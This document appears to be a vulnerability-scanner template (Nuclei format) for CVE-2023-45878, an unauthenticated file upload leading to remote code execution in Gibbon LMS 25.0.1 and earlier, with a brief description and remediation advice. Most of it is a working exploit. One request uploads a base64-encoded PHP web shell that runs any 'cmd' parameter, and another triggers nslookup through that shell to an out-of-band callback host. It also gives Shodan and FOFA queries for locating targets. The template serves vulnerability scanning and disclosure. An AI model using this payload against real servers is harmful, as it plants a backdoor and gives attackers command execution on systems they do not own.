Gibbon LMS versions 25.0.1 and earlier are vulnerable to an Arbitrary File Upload that can lead to Remote Code Execution (RCE). The issue stems from the rubrics_visualise_saveAjax.php endpoint, which, notably, does not require authentication. Because of this, unauthenticated attackers could potentially upload malicious PHP files and execute arbitrary code on the server.
PoC代码[已公开]
id: CVE-2023-45878
info:
name: Gibbon LMS <= v25.0.01 - File Upload to RCE
author: ajdumanhug
severity: critical
description: |
Gibbon LMS versions 25.0.1 and earlier are vulnerable to an Arbitrary File Upload that can lead to Remote Code Execution (RCE). The issue stems from the rubrics_visualise_saveAjax.php endpoint, which, notably, does not require authentication. Because of this, unauthenticated attackers could potentially upload malicious PHP files and execute arbitrary code on the server.
remediation: |
Fixed in v26.0.00; upgrade immediately, or restrict access to the vulnerable endpoint and implement WAF protection.
reference:
- https://github.com/GibbonEdu/core/releases/tag/v26.0.00
- https://github.com/GibbonEdu/core/tree/16638b849220dd24ed1e536b44b76e222ae0f6c0
- https://nvd.nist.gov/vuln/detail/CVE-2023-45878
- https://herolab.usd.de/security-advisories/usd-2023-0025/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-45878
epss-score: 0.92735
epss-percentile: 0.99744
metadata:
verified: true
max-requests: 1
vendor: gibbonedu
product: gibbon
shodan-query:
- http.favicon.hash:-165631681
- http.favicon.hash:"-165631681"
fofa-query: icon_hash="-165631681"
tags: cve2023,cve,file-upload,rce,gibbonedu,gibbon,vkev
flow: http(1) && http(2)
variables:
filename: "{{rand_base(6)}}"
http:
- raw:
- |
POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
img=image/png;{{filename}},PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2b&path={{filename}}.php&gibbonPersonID=0000000001
matchers:
- type: dsl
dsl:
- "regex('^{{filename}}.php$', body)"
- "status_code == 200"
condition: and
internal: true
- raw:
- |
GET /{{filename}}.php?cmd=nslookup+{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- dns
- type: status
status:
- 200
# digest: 490a0046304402206610b2aafb016c590fc9ad14e1903bdcd15079af5c5cb021926d98132fee1a7e0220253c6d161f533bc0c62aeed2316139601ad78c37b355382e81b74dfaccf792e0:922c64590222798bb761d5b6d8e72950